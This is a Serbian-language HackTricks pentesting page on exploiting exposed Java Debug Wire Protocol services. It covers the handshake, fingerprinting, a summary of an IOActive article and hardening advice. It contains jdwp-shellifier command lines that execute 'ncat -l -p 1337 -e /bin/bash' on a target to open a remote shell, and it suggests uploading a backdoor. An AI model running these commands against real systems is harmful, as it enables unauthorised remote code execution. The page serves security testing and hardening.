Pentesting JDWP - Java Debug Wire Protocol

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Eksploatacija

JDWP eksploatacija se oslanja na nedostatak autentifikacije i enkripcije protokola. Obično se nalazi na portu 8000, ali su mogući i drugi portovi. Početna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP servis aktivan, odgovara istim stringom, potvrđujući svoju prisutnost. Ova rukovanja deluju kao metoda otiska prsta za identifikaciju JDWP servisa na mreži.

U smislu identifikacije procesa, pretraga za stringom "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju.

Osnovni alat je jdwp-shellifier. Možete ga koristiti sa različitim parametrima:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Pronašao sam da korišćenje --break-on 'java.lang.String.indexOf' čini eksploataciju stabilnijom. A ako imate priliku da otpremite backdoor na host i izvršite ga umesto izvršavanja komande, eksploatacija će biti još stabilnija.

Više detalja

Ovo je sažetak https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Proverite ga za dodatne detalje.

  1. JDWP Pregled:
  • To je protokol zasnovan na paketima, prvenstveno sinhron.
  • Nedostaje autentifikacija i enkripcija, što ga čini ranjivim kada je izložen neprijateljskim mrežama.
  1. JDWP Rukovanje:
  • Koristi se jednostavan proces rukovanja za iniciranje komunikacije. Razmenjuje se ASCII string od 14 karaktera “JDWP-Handshake” između Debuggera (klijent) i Debuggee-a (server).
  1. JDWP Komunikacija:
  • Poruke imaju jednostavnu strukturu sa poljima kao što su Dužina, Id, Zastava i CommandSet.
  • Vrednosti CommandSet-a kreću se od 0x40 do 0x80, predstavljajući različite akcije i događaje.
  1. Eksploatacija:
  • JDWP omogućava učitavanje i pozivanje proizvoljnih klasa i bajtkoda, što predstavlja sigurnosne rizike.
  • Članak detaljno opisuje proces eksploatacije u pet koraka, uključujući preuzimanje referenci Java Runtime-a, postavljanje tačaka prekida i pozivanje metoda.
  1. Eksploatacija u stvarnom životu:
  • I pored potencijalnih zaštita od vatrozida, JDWP usluge su otkrivene i mogu se eksploatisati u stvarnim scenarijima, što je demonstrirano pretragama na platformama kao što su ShodanHQ i GitHub.
  • Skripta za eksploataciju testirana je protiv različitih verzija JDK-a i nezavisna je od platforme, nudeći pouzdano daljinsko izvršavanje koda (RCE).
  1. Sigurnosne implikacije:
  • Prisutnost otvorenih JDWP usluga na internetu naglašava potrebu za redovnim sigurnosnim pregledima, onemogućavanjem debug funkcionalnosti u produkciji i pravilnim konfiguracijama vatrozida.

Reference:

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks